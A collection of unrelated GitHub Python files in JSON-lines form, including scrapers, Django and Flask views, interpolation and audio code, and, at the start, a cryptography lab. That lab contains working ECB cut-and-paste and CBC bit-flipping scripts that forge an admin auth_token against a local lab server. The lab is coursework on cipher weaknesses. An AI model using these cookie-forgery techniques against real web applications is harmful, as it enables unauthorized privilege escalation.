cipherblk = unhex[54:]\n # divide the text into blocks to observe any repetition \n for j in range(0, int(len(cipherblk)), 16):\n blk16 = cipherblk[j : j + 16]\n if blk16 in blocks:\n duplicate_cnt += 1\n blocks.append(blk16)\n print(blocks)\n print(duplicate_cnt)\n # once repetition is reached, display image\n if duplicate_cnt != 0:\n print(\"here sir on line \" + str(i + 1))\n img = Image.open(io.BytesIO(unhex))\n img.show()\n break\n\n# Task II ECB Cookies\ndef task2_3():\n s = Session()\n # Push user to get role=\n push_user_role = \"AAAAAAAAAAAAAAA\"\n\n # make an m[1] admin with padding\n username = \"admin\"\n padbytes = AES.block_size - len(username)%AES.block_size\n user = username + '\\x00' * (padbytes - 1) + chr(padbytes)\n user = \"AAAAAAAAAAA\" + user \n r = s.post('http://127.0.0.1:8080/register', {\"user\": push_user_role, \"password\": \"1\"})\n r1 = s.post('http://127.0.0.1:8080/register', {\"user\": user, \"password\": \"1\"})\n\n r = s.post('http://127.0.0.1:8080', data={\"user\": push_user_role, \"password\": \"1\"})\n user_part1_cookie = s.cookies[\"auth_token\"]\n r1 = s.post('http://127.0.0.1:8080', data={\"user\": user, \"password\": \"1\"})\n user_part2_cookie = s.cookies[\"auth_token\"]\n # block alignmnet \n block_size = 32\n blocked_cookies_1 = [user_part1_cookie[i:i+block_size] for i in range(0, len(user_part1_cookie), block_size) ]\n blocked_cookies_2 = [user_part2_cookie[i:i+block_size] for i in range(0, len(user_part2_cookie), block_size) ]\n admin_cookie = blocked_cookies_1[0] + blocked_cookies_1[1] + blocked_cookies_2[1]\n\n\n r3 = s.get('http://127.0.0.1:8080/home', cookies={\"auth_token\": admin_cookie})\n print(r3.text)\n\n# --------------------------------------------------------------------------------------------------\n\n# Task III: Implement CBC Mode \n\n# Task III Implement CBC Mode\ndef cbc_encrypt(plaintext, key, iv):\n answer = b\"\"\n paddedtxt = pkcs7_pad(plaintext, 16)\n cipher = AES.new(key, AES.MODE_ECB)\n blocks = [paddedtxt[i:i+AES.block_size] for i in range(0, len(paddedtxt), AES.block_size) ]\n prev_txt = iv\n for i in blocks:\n xor_txt = xor_two_bstr(i, prev_txt)\n ciphertext = cipher.encrypt(xor_txt)\n answer += ciphertext\n prev_txt = ciphertext\n return answer\n\ndef cbc_decrypt(ciphertext, key, iv):\n answer = b\"\"\n decipher = AES.new(key, AES.MODE_ECB)\n blocks = [ciphertext[i:i+AES.block_size] for i in range(0, len(ciphertext), AES.block_size) ]\n prev_txt = iv\n for i in blocks:\n deciphertxt = decipher.decrypt(i)\n xor_txt = xor_two_bstr(deciphertxt, prev_txt)\n answer += xor_txt\n prev_txt = i\n \n return pkcs7_unpad(answer, AES.block_size)\n \ndef task3_2():\n file = open(argv[1], 'r')\n key = bytes(\"MIND ON MY MONEY\", \"utf-8\")\n iv = bytes(\"MIND ON MY MONEY\", \"utf-8\")\n b64dec = b64decode(bytes(file.read(), \"utf-8\"))\n plaintext = cbc_decrypt(b64dec, key, iv)\n print(plaintext)\n\n# Task III CBC Cookies\ndef task3_2():\n s = Session()\n\n # create user\n user = \"user\" + '0' + \"role\" + '0' + \"admin\"\n r = s.post('http://127.0.0.1:8080/register', {\"user\": user, \"password\": \"1\"})\n\n r = s.post('http://127.0.0.1:8080', data={\"user\": user, \"password\": \"1\"})\n \n # get cookie\n user_cookie = s.cookies[\"auth_token\"]\n user_cookie = unhexlify(user_cookie)\n\n # block the cookie\n block_size = AES.block_size\n blocked_cookies = [user_cookie[i:i+block_size] for i in range(0, len(user_cookie), block_size) ]\n\n mblock_0 = [i for i in blocked_cookies[0]]\n mblock_1 = [i for i in blocked_cookies[1]]\n mblock_2 = [i for i in blocked_cookies[2]]\n mblock_3 = [i for i in blocked_cookies[3]]\n\n # bit flipping attack here\n mblock_0[9] = mblock_0[9] ^ ord(\"0\") ^ord(\"&\")\n mblock_0[14] = mblock_0[14] ^ ord(\"0\") ^ ord(\"=\") \n blocked_cookies[0] = bytes(mblock_0)\n \n admin_cookie = str(hexlify(blocked_cookies[0] + blocked_cookies[1] + blocked_cookies[2] + blocked_cookies[3]), \"utf-8\")\n\n r3 = s.get('http://127.0.0.1:8080/home', cookies={\"auth_token\": admin_cookie})\n print(r3.text)\n\nif __name__ == '__main__':\n #task2_1()\n #task2_2()\n task2_3()\n #task3_1()\n #task3_2()\n","repo_name":"IsraelBanez/Cryptography-Engineering-Labs","sub_path":"ECB_and_CBC_Decryption/lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":6160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9277553094","text":"# -*- coding: utf-8 -*-\nimport os\nimport re\nimport json\nimport requests\nfrom urllib.parse import urlencode\n\n\ndef get_one_page(offset, keyword):\n '''\n 获取网页html内容并返回\n '''\n paras = {\n 'offset': offset, # 搜索结果项开始的位置\n 'format': 'json', # 返回的数据格式\n 'keyword': keyword, # 搜索的关键字\n 'autoload': 'true', # 自动加载\n 'count': 20, # 每次加载结果的项目数\n 'cur_tab': 3, # 当前的tab页索引,3为“图集”\n 'from': 'gallery' # 来源,“图集”\n }\n\n url = 'https://www.toutiao.com/search_content/?' + urlencode(paras)\n try:\n # 获取网页内容,返回json格式数据\n response = requests.get(url)\n # 通过状态码判断是否获取成功\n if response.status_code == 200:\n return response.text\n return None\n except Exception:\n return None\n\n\ndef parse_one_page(html):\n '''\n 解析出组图网址,并将网页中所有图集的标题及图片地址返回\n '''\n urls = []\n data = json.loads(html)\n if data and 'data' in data.keys():\n for item in data.get('data'):\n page_urls = []\n title = item.get('title')\n image_detail = item.get('image_list')\n for i in range(len(image_detail)):\n # 获取large图片地址\n url = image_detail[i]['url']\n # 替换URL获取高清原图\n url = url.replace('list', 'origin')\n url = \"http:\"+url\n page_urls.append(url)\n urls.append({'title': title, 'url_list': page_urls})\n return urls\n\n\ndef save_image_file(url, path):\n '''\n 保存图像文件\n '''\n ir = requests.get(url)\n if ir.status_code == 200:\n with open(path, 'wb') as f:\n f.write(ir.content)\n f.close()\n\n\ndef main(offset, word):\n html = get_one_page(offset, word)\n urls = parse_one_page(html)\n\n # 图像文件夹不存在则创建\n root_path = word\n if not os.path.exists(root_path):\n os.mkdir(root_path)\n\n for i in range(len(urls)):\n print('---正在下载 %s' % urls[i]['title'])\n folder = root_path + '/' + urls[i]['title']\n if not os.path.exists(folder):\n try:\n os.mkdir(folder)\n except NotADirectoryError:\n continue\n except OSError:\n continue\n\n url_list = urls[i]['url_list']\n for j in range(len(url_list)):\n path = folder + '/index_' + str(\"%02d\" % j) + '.jpg'\n if not os.path.exists(path):\n save_image_file(urls[i]['url_list'][j], path)\n\n\nif __name__ == '__main__':\n # 抓取2000个图集,基本上包含全部图集\n for i in range(100):\n main(i * 20, '街拍')\n","repo_name":"zlszhonglongshen/spider","sub_path":"图片的那些事/今日头条/demo01.py","file_name":"demo01.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"20481855070","text":"\"\"\"\nLoad data\nDownload all comments from a subreddit of your choice using URL: https://api.pushshift.io/reddit/comment/search/ .\nAs a result, store all comments in chronological order in JSON and dump it to a file.\n\"\"\"\nimport requests\nimport json\nimport time\n\n\ndef get_json(url) -> dict:\n resp = requests.get(url)\n if resp.ok:\n return resp.json()\n\n\ndef get_comments(data: dict) -> dict:\n comments = {'comments': []}\n for comment in data.get('data'):\n comments.get('comments').append({\n 'author': comment.get('author'),\n 'body': comment.get('body'),\n 'created_date': time.ctime(comment.get('created_utc'))\n })\n return comments\n\n\ndef create_json_file(comments: dict) -> None:\n with open('comments.json', 'w') as file:\n json.dump(comments, file, indent=4)\n\n\nif __name__ == '__main__':\n data = get_json('https://api.pushshift.io/reddit/comment/search/')\n create_json_file(get_comments(data))","repo_name":"oleksandr-nikitenko/python-course","sub_path":"Lesson_34/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"4894128213","text":"#recursive approach \nclass Solution:\n def numDecodings(self, s: str) -> int:\n s = [int(i) for i in s]\n dp = [-1] * len(s)\n #print(dp)\n \n if s[-1] != 0:\n dp[-1] = 1\n else:\n dp[-1] = 0\n #print(dp)\n \n def magic(num, dp):\n if num == len(s):\n return 1\n if dp[num] != -1:\n return dp[num]\n \n double = 0\n single = 0\n \n if s[num] != 0:\n single = magic(num + 1, dp)\n \n if s[num] == 1 or s[num ] == 2 and num != len(s) - 1:\n no = (s[num] * 10) + s[num+1]\n if no <= 26:\n double = magic(num + 2, dp)\n \n dp[num] = single + double\n #print(num, single, double, dp)\n return dp[num]\n \n return magic(0, dp)\n#tabulation bottom-up\nclass Solution:\n def numDecodings(self, s: str) -> int:\n dp = [0]*(len(s)+1)\n dp[0] = 1\n if s[0] == '0':\n return 0\n else:\n dp[1] = 1\n \n for i in range(2,len(s)+1):\n # print(dp, i, s[i-2:i], s[i-1])\n if int(s[i-2:i]) >= 10 and int(s[i-2:i])<= 26:\n dp[i] += dp[i-2]\n if s[i-1] != '0':\n dp[i] += dp[i-1]\n \n return dp[-1]\n\n#tabulation with memory optimization\nclass Solution:\n def numDecodings(self, s: str) -> int:\n prev = 1\n if s[0] == '0':\n return 0\n else:\n now = 1\n for i in range(2,len(s)+1):\n temp = 0\n #list slicing takes more time \n if s[i-2] == '1' or (s[i-2]=='2' and s[i-1]<'7'):\n temp = temp + prev\n if s[i-1] != '0':\n temp = temp + now\n prev = now\n now = temp\n return now","repo_name":"Bidipto/Fab-Feb","sub_path":"Goldman_Sachs/8_decodeWays.py","file_name":"8_decodeWays.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"71648070561","text":"import librosa\nimport numpy as np\n\nfrom . import base\nfrom . import spectral\n\n\nclass OnsetStrength(base.Computation):\n \"\"\"\n Compute a spectral flux onset strength envelope.\n\n Based on http://librosa.github.io/librosa/generated/librosa.onset.onset_strength.html\n\n Args:\n n_mels (int): Number of mel bands to generate.\n \"\"\"\n\n def __init__(self, n_mels=128, parent=None, name=None):\n super(OnsetStrength, self).__init__(left_context=1, right_context=0, parent=parent, name=name)\n\n self.n_mels = n_mels\n\n def compute(self, chunk, sampling_rate, corpus=None, utterance=None):\n # Compute mel-spetrogram\n power_spec = np.abs(spectral.stft_from_frames(chunk.data.T)) ** 2\n mel = np.abs(librosa.feature.melspectrogram(S=power_spec, n_mels=self.n_mels, sr=sampling_rate))\n mel_power = librosa.power_to_db(mel)\n\n # Compute onset strengths\n oenv = librosa.onset.onset_strength(S=mel_power, center=False)\n\n # Switch dimensions and add dimension to have frames\n oenv = oenv.T.reshape(oenv.shape[0], -1)\n\n # Remove context\n oenv = oenv[chunk.left_context:oenv.shape[0] - chunk.right_context]\n\n return oenv\n","repo_name":"ynop/audiomate","sub_path":"audiomate/processing/pipeline/onset.py","file_name":"onset.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"54"} +{"seq_id":"30937877007","text":"#!/usr/bin/env python3\n\nimport serial\nimport sys\n\nif len(sys.argv) == 2:\n fname = sys.argv[1]\nelse:\n print(\"No filename given\")\n exit\n \nwith serial.Serial('/dev/tty.usbserial-A400XKI3', 115200, timeout=20) as ser:\n with open(fname, \"w\") as file:\n line = \"\"\n while line != \"END\":\n line = str(ser.readline(),\"utf-8\").strip()\n if line[0] < '0' or line[0] > '9': continue\n print(line, file=file)\n\nfile.close()\n","repo_name":"felias-fogg/vertigo","sub_path":"measure100hz/experiments/trans.py","file_name":"trans.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31640526526","text":"\"\"\"\nA CLI tool for installing, configuring, and running text-generation-webui\navailable commands are install, configure, start, stop, run, configure, update, install, and remove\n\"\"\"\n\n# import modules\nimport argparse\nimport os\nimport sys\nimport subprocess\nimport shutil\nimport logging\nfrom baseclass import ToolCliBaseClass\n\nfrom scripts.utils import git_pull\nfrom scripts.tg_scripts import tg_install\nfrom scripts.tg_scripts import tg_configure\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\nclass Tg(ToolCliBaseClass):\n def __init__(self):\n logger.debug(\"Running %s\", sys._getframe())\n #call super class constructor with the name of the tool\n super().__init__(\"tg\")\n self.EXECBASE = self.TOOLBASE + \"text-generation-webui/\"\n self.VENV = self.TOOLBASE + \"venv/bin/\"\n self.REPO = \"https://github.com/oobabooga/text-generation-webui\"\n\n def _pull(self):\n logger.debug(\"Running %s\", sys._getframe())\n logger.debug(\"Pulling from %s\", self.REPO)\n logger.debug(\"Pulling to %s\", self.TOOLBASE)\n puller = git_pull.GitPuller(self.REPO, self.TOOLBASE)\n puller.pull()\n super()._pull()\n\n def _preinstall(self):\n logger.debug(\"Running %s\", sys._getframe())\n super()._preinstall()\n\n def _install(self):\n logger.debug(\"Running %s\", sys._getframe())\n installer = tg_install.TGInstaller(self.VENV, self.EXECBASE, self.TOOLBASE)\n installer.install()\n super()._install()\n\n def _postinstall(self):\n logger.debug(\"Running %s\", sys._getframe())\n super()._postinstall()\n\n def _configure(self):\n logger.debug(\"Running %s\", sys._getframe())\n super()._configure()\n configurator = tg_configure.TGConfigurator(self.CONFIGFOLDER + self.CONFIGFILE, \\\n self.CONFIGFOLDER + self.DEFAULTCONFIGFILE, \\\n self.EXECBASE, self.VENV)\n configurator.configure()\n\n def _update(self):\n super()._update()\n\n def _run(self, extra_args):\n logger.debug(\"Running %s\", sys._getframe())\n super()._run()\n #starts the server and passes in all remaining arguments\n #exec server.py from the EXECBASE folder using the python3 binary from the VENV folder and pass it all remaining arguments\n os.chdir(self.EXECBASE)\n spoc = subprocess.Popen([self.VENV + \"/python3\", self.EXECBASE + \"/server.py\"] + extra_args)\n spoc.wait()\n\n def _start(self, extra_args):\n logger.debug(\"Running %s\", sys._getframe())\n #starts the daemon and passes in all remaining arguments\n #exec server.py from the EXECBASE folder using the python3 binary from the VENV folder and pass it all remaining arguments\n os.chdir(self.EXECBASE)\n spoc = subprocess.Popen([self.VENV + \"/python3\", self.EXECBASE + \"/server.py\"] + extra_args)\n\n def _stop(self):\n logger.debug(\"Running %s\", sys._getframe())\n super()._stop()\n #kills the daemon that was started by _start\n #get the pid of the server.py python process\n pid = subprocess.check_output([\"pgrep\", \"-f\", self.EXECBASE + \"/server.py\"]).decode(\"utf-8\")\n #kill the process\n subprocess.run([\"kill\", pid])\n\n def _remove(self):\n logger.debug(\"Running %s\", sys._getframe())\n super()._remove()\n print(\"Are you sure you want to remove \" + self.NAME + \"?\")\n print(\"This will remove all files and directories associated with \" + self.NAME + \".\")\n print(\"This cannot be undone.\")\n print(\"Type 'yes' to continue.\")\n confirmation = input()\n if confirmation != \"yes\":\n print(\"Aborting.\")\n sys.exit()\n else:\n #delete the toolbase folder\n shutil.rmtree(self.TOOLBASE)\n\n def install(self):\n logger.debug(\"Running %s\", sys._getframe())\n self._pull()\n self._preinstall()\n self._install()\n self._postinstall()\n self._configure()\n\n def configure(self):\n logger.debug(\"Running %s\", sys._getframe())\n self._configure()\n\n def run(self, extra_args):\n logger.debug(\"Running %s\", sys._getframe())\n self._run(extra_args=extra_args)\n\n def start(self, extra_args):\n logger.debug(\"Running %s\", sys._getframe())\n self._start(extra_args=extra_args)\n\n def stop(self):\n logger.debug(\"Running %s\", sys._getframe())\n self._stop()\n\n def update(self):\n logger.debug(\"Running %s\", sys._getframe())\n self._update()\n\n def remove(self):\n logger.debug(\"Running %s\", sys._getframe())\n self._remove()\n\nif __name__ == '__main__':\n logger.debug(\"Running %s\", sys._getframe())\n\n # parse arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('command', choices=['start', 'stop', \\\n 'run', \\\n 'install', 'remove', \\\n 'update', 'configure'])\n parser.add_argument('extra_args', nargs=argparse.REMAINDER, default=[])\n\n args = parser.parse_args()\n\n # run command\n tg = Tg()\n if args.command == \"start\":\n tg.start(extra_args=args.extra_args)\n elif args.command == \"stop\":\n tg.stop()\n elif args.command == \"run\":\n tg.run(extra_args=args.extra_args)\n elif args.command == \"install\":\n tg.install()\n elif args.command == \"remove\":\n tg.remove()\n elif args.command == \"update\":\n tg.update()\n elif args.command == \"configure\":\n tg.configure()\n","repo_name":"Spencer-Dawson/rocm-buntu","sub_path":"tg.py","file_name":"tg.py","file_ext":"py","file_size_in_byte":5703,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"13084268930","text":"\"\"\" IP verification \"\"\"\n\nimport json\nfrom urllib.request import urlopen\n\nurl = 'https://ipinfo.io/json'\n\nresponse = urlopen(url)\n\ndata = json.load(response)\n\nip = data['ip']\norg = data['org']\ncity = data['city']\nregion = data['region']\ncountry = data['country']\n\nprint('=' * 50)\nprint(f'{\"IP details\":^50}')\nprint('=' * 50)\nprint(f'IP: {ip}\\nOrg.: {org}\\nCity: {city}\\nRegion: {region}\\nCountry: {country}')\nprint('=' * 50)\n","repo_name":"miguelmendesSerrano/Python_Developer_DIO","sub_path":"Segurança_da_informacao_com_Python/verification_tools/ip_verification.py","file_name":"ip_verification.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40356072664","text":"\"\"\"\nViews\n\n\"\"\"\nimport logging\n\nfrom django.http import Http404, HttpResponse\nfrom django.views.decorators.cache import cache_page\nimport requests\nfrom rest_framework import generics\nfrom rest_framework.renderers import TemplateHTMLRenderer\nfrom rest_framework.serializers import Serializer as NullSerializer\n\nfrom api import views as apiviews\nfrom mediaplatform_jwp.api import delivery\n\nfrom . import renderers\nfrom . import serializers\n\nLOG = logging.getLogger(__name__)\n\n\nclass ResourcePageMixin:\n \"\"\"\n Mixin class for resource page views which simply renders the UI.\n\n \"\"\"\n serializer_class = NullSerializer\n renderer_classes = [TemplateHTMLRenderer]\n template_name = 'index.html'\n\n\nclass MediaView(ResourcePageMixin, apiviews.MediaItemMixin, generics.RetrieveAPIView):\n \"\"\"\n A media item. Specialised to render a JSON-LD structured data representation of the media item\n as well.\n\n \"\"\"\n serializer_class = serializers.MediaItemPageSerializer\n template_name = 'ui/media.html'\n\n\nclass MediaItemRSSView(apiviews.MediaItemMixin, generics.RetrieveAPIView):\n \"\"\"\n Retrieve an individual media item as RSS.\n\n IMPORTANT: we do not want this sort of feed to proliferate and so it is only available for\n media items which were imported from the old SMS.\n\n \"\"\"\n # We cannot simply make use of the normal DRF content negotiation and format_suffix_patterns()\n # because this results in an additional \"format\" parameter being passed to the class which is\n # then used to reverse() URLs for hyperlinked resources such as channels. Since none of those\n # views support the format parameter, the reverse() call used by HyperlinkedIdentityField\n # fails.\n renderer_classes = [renderers.RSSRenderer]\n serializer_class = serializers.MediaItemRSSSerializer\n\n def get_queryset(self):\n return super().get_queryset().filter(downloadable_by_user=True, sms__isnull=False)\n\n def get_object(self):\n obj = super().get_object()\n # We need to render a list of entries with just this media item as a single entry. This is\n # a bit of a hacky way of doing this but it works.\n obj.self_list = [obj]\n return obj\n\n\nclass MediaItemJWPlayerConfigurationView(apiviews.MediaItemMixin, generics.RetrieveAPIView):\n \"\"\"\n Endpoint to retrieve JWP configuration for a media item.\n\n \"\"\"\n serializer_class = serializers.JWPlayerConfigurationSerializer\n\n def get_object(self):\n # get_object will 404 if the object does not exist\n item = super().get_object()\n\n # if there is no equivalent JWP video, 404\n if not hasattr(item, 'jwp'):\n raise Http404()\n\n # Annotate item with a list containing itself. This somewhat odd construction is required\n # to allow the same schema for playlists as well as individual media items.\n item.items_for_user = [item]\n\n return item\n\n\nclass ChannelView(ResourcePageMixin, apiviews.ChannelMixin, generics.RetrieveAPIView):\n \"\"\"A channel.\"\"\"\n\n\nclass PlaylistView(ResourcePageMixin, apiviews.PlaylistMixin, generics.RetrieveAPIView):\n \"\"\"A playlist\"\"\"\n\n\nclass PlaylistRSSView(apiviews.PlaylistMixin, generics.RetrieveAPIView):\n \"\"\"\n Retrieve an individual playlist as RSS.\n\n \"\"\"\n # We cannot simply make use of the normal DRF content negotiation and format_suffix_patterns()\n # because this results in an additional \"format\" parameter being passed to the class which is\n # then used to reverse() URLs for hyperlinked resources such as channels. Since none of those\n # views support the format parameter, the reverse() call used by HyperlinkedIdentityField\n # fails.\n renderer_classes = [renderers.RSSRenderer]\n serializer_class = serializers.PlaylistRSSSerializer\n\n def get_object(self):\n obj = super().get_object()\n obj.downloadable_media_items = (\n self.filter_media_item_qs(obj.ordered_media_item_queryset)\n .downloadable_by_user(self.request.user)\n )\n return obj\n\n\nclass PlaylistJWPlayerConfigurationView(apiviews.PlaylistMixin, generics.RetrieveAPIView):\n \"\"\"\n Endpoint to retrieve JWP configuration for a playlist.\n\n \"\"\"\n serializer_class = serializers.JWPlayerConfigurationSerializer\n\n def get_object(self):\n # get_object will 404 if the object does not exist\n playlist = super().get_object()\n\n # Get the media items which the user can view and which have a JWP video.\n items = (\n playlist.ordered_media_item_queryset\n .filter(jwp__isnull=False)\n .viewable_by_user(self.request.user)\n )\n\n # Annotate the playlist with the items.\n playlist.items_for_user = items\n\n return playlist\n\n\n# We cache this view for 15 minutes since it introduces a round trip JWP API latency for each\n# uncached request.\n@cache_page(60 * 15)\ndef jwplayer_library_js(request):\n \"\"\"\n Render configured JWPlayer JS library. The library is proxied rather than being redirected\n because the player URL is protetcted by a relatively weak signing process which runs the risk\n of the API secret being exposed.\n\n \"\"\"\n # The JWP player URL is signed and so, annoyingly, must be re-generated each time.\n response = requests.get(delivery.player_library_url())\n response.raise_for_status()\n return HttpResponse(response.text, 'text/javascript; charset=utf-8')\n","repo_name":"uisautomation/media-webapp","sub_path":"ui/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5434,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"19672313085","text":"# -*- coding: utf-8 -*-\nfrom flask import Flask, request, jsonify\nimport tensorflow as tf\nfrom keras.layers import Input, Embedding, Flatten, Dot\nfrom keras.models import Model\nimport numpy as np \n\napp = Flask(__name__)\napp.url_map.strict_slashes = False\n\ndef build_model(nb_users, nb_items, embedding_size=30):\n user_id_input = Input(shape=[1],name='user')\n item_id_input = Input(shape=[1], name='item')\n\n user_embedding = Embedding(output_dim=embedding_size, input_dim=nb_users + 1,\n input_length=1, name='user_embedding')(user_id_input)\n item_embedding = Embedding(output_dim=embedding_size, input_dim=nb_items + 1,\n input_length=1, name='item_embedding')(item_id_input)\n user_vecs = Flatten()(user_embedding)\n item_vecs = Flatten()(item_embedding)\n y = Dot(axes=1)([user_vecs, item_vecs]) \n model = Model(inputs=[user_id_input, item_id_input], outputs=y)\n model.compile(optimizer='adam', loss='MAE')\n\n return(model)\n\n@app.route(\"/train\", methods=['GET','POST'])\ndef train():\n \n user_history = [int(user) for user in request.args.getlist('user_history')]\n item_history = [int(item) for item in request.args.getlist('item_history')]\n rating_history = [int(rating) for rating in request.args.getlist('rating_history')]\n nb_users = int(request.args.get('nb_users'))\n nb_items = int(request.args.get('nb_items'))\n \n\n global model,graph\n model = build_model(nb_users,nb_items,30)\n model.fit([user_history, item_history], rating_history,\n batch_size=64, \n epochs=20, \n validation_split=0.1,\n shuffle=True)\n \n graph = tf.get_default_graph()\n \n return 'Model trained'\n\n@app.route(\"/predict\", methods=['GET','POST'])\ndef predict():\n with graph.as_default():\n next_user = int(request.args.get('next_user'))\n next_item = int(request.args.get('next_item'))\n rating_predicted = model.predict([np.array(next_user).reshape(1,1), np.array(next_item).reshape(1,1)])[0][0]\n\n return jsonify({'rating':str(round(rating_predicted))})\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=80)","repo_name":"dinaravvsint/IA316_Kachouri_Veshchezerova","sub_path":"API/flask_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17775900618","text":"# filename: barycentric_lagrange.py\n# author: Dowon Cha\n# summary:\n# Interpolation problem of given (x,y) points fit a polynomial\n# Improve upon lagrange interpoltaion by using\n# barycentric representation of coordinates\n\n# Why Lagrange is only theoretical\n# 1. Each evaluation of p(x) requires O(n^2) add and mult\n# 2. Adding a new data pair requires a new computation from scratch\n# 3. Computation is numerically unstable\n\n# Using Barycentric coordinates allows lagrange to be run in O(n) like Newton's Divided-differences\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef interpolate(x, y, w):\n # Given array of x, y and weights\n # Interplate the function using barycentric lagrange\n # Assumptions: x are chebyshev roots\n # Number of barycentric interpolant points\n xx = np.linspace(-1, 1, 5000)\n numer = np.zeros(len(xx))\n denom = np.zeros(len(xx))\n\n # Weight function using chebyshev's\n # Uncomment to use: paper's delta as [.5, 1, ..., 1, .5]\n # w = np.ones(len(x) + 1)\n # w[0] = c[-1] = .5\n # for i in range(len(w)):\n # if (w[i] % 2 == 1):\n # w[i] *= -1\n\n for j in range(n):\n xdiff = xx - x[j]\n temp = c[j] / xdiff\n numer = numer + temp * y[j]\n denom = denom + temp\n\n ff = numer / denom\n\n return (xx, ff)\n\nif __name__ == \"__main__\":\n n = 1000\n\n # Function we will be interpolation for\n def fi(x):\n return np.abs(x) + x / 2.0 - x**2\n\n f = np.vectorize(fi)\n\n # Compute sample points and weight function using chebyshev gaussian\n (x, w) = np.polynomial.chebyshev.chebgauss(n)\n # Compute y_i values\n y = f(x)\n\n (xx, yy) = interpolate(x, y, w)\n\n plt.title('Barycentric Lagrange Interpolation')\n\n plt.subplot(3, 1, 1)\n plt.plot(x, y, 'bo-')\n plt.subplot(3, 1, 2)\n plt.plot(xx, yy, 'r-')\n\n # Error plot\n plt.subplot(3, 1, 3)\n plt.plot(x, )\n\n plt.show()\n","repo_name":"dowoncha/Mathematics","sub_path":"barycentric_lagrange.py","file_name":"barycentric_lagrange.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73019743841","text":"import numpy as np \nfrom exp_utils import get_data\nimport matplotlib.pyplot as plt \nimport pickle\nimport pandas as pd\n\ndict_save_folder = '4_1_pre_best_prefixes'\n\ndatasets = [\"compas\", \"adult\", \"acs_employ\"]\nn_iter_param = 10**9\nmin_coverageList = [] # Will contain 20 values\ncov = 0.1\nwhile cov < 1.0:\n min_coverageList.append(cov)\n cov += 0.1\n cov = round(cov, 2)\nmin_coverageList.extend([0.925, 0.95, 0.975])\ncriterion_column = 'Val acc UB' #'Validation accuracy (prefix)'\n\nfor dataset_name in datasets:\n for min_coverage in min_coverageList:\n # Find per dataset-fold-coverage best prefix selection\n fileName = './results_part_4/results_4_1_learn_pre_prefixes_%s_%.3f_collab.csv' %(dataset_name, min_coverage) #_proportions\n dataset_cov_res_dict = {}\n try:\n res = pd.read_csv(fileName)\n except FileNotFoundError():\n print(\"File not found: \", fileName)\n exit()\n\n # Iterate over results\n for index, row in res.iterrows():\n rseed = row['Seed']\n cValue = row['Lambda']\n min_support_param = row['Min support']\n policy = row['Policy']\n validation_accuracy_prefix = row[criterion_column]\n if not rseed in dataset_cov_res_dict.keys():\n dataset_cov_res_dict[rseed] = {'cValue':cValue, \n 'min_support_param':min_support_param, \n 'policy':policy,\n 'validation_accuracy_prefix':validation_accuracy_prefix}\n else:\n if validation_accuracy_prefix > dataset_cov_res_dict[rseed]['validation_accuracy_prefix']:\n dataset_cov_res_dict[rseed] = {'cValue':cValue, \n 'min_support_param':min_support_param, \n 'policy':policy,\n 'validation_accuracy_prefix':validation_accuracy_prefix}\n # Save best configs\n for rseed in dataset_cov_res_dict.keys():\n dict_name = '%s_%d_%.3f_collab.pickle' %(dataset_name, rseed, min_coverage)\n local_dict = {'dataset_name':dataset_name, \n 'rseed':rseed, \n 'min_coverage':min_coverage, \n 'cValue':dataset_cov_res_dict[rseed]['cValue'], \n 'n_iter_param':n_iter_param, \n 'min_support_param':dataset_cov_res_dict[rseed]['min_support_param'], \n 'policy':dataset_cov_res_dict[rseed]['policy'],\n 'validation_accuracy_prefix':dataset_cov_res_dict[rseed]['validation_accuracy_prefix']}\n \n with open('%s/%s.pickle' %(dict_save_folder, dict_name), 'wb') as handle:\n pickle.dump(local_dict, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n with open('%s/%s.pickle' %(dict_save_folder, dict_name), 'rb') as handle:\n b = pickle.load(handle)\n print(b)","repo_name":"ferryjul/HybridCORELS","sub_path":"paper/4_1_select_pre_prefixes.py","file_name":"4_1_select_pre_prefixes.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40912259753","text":"\"\"\"Start MediaWiki maintenance jobs\"\"\"\nimport logging\n\nfrom cookbooks.sre.switchdc.mediawiki import argument_parser_base, post_process_args, PUPPET_REASON\n\n\n__title__ = __doc__\nlogger = logging.getLogger(__name__)\n\n\ndef argument_parser():\n \"\"\"As specified by Spicerack API.\"\"\"\n return argument_parser_base(__name__, __title__)\n\n\ndef run(args, spicerack):\n \"\"\"Required by Spicerack API.\"\"\"\n post_process_args(args)\n logger.info('Starting MediaWiki maintenance jobs in %s', args.dc_to)\n\n mw_maintenance = spicerack.remote().query('A:mw-maintenance')\n mw_maintenance.run_sync('run-puppet-agent --enable \"{message}\"'.format(message=PUPPET_REASON))\n\n mediawiki = 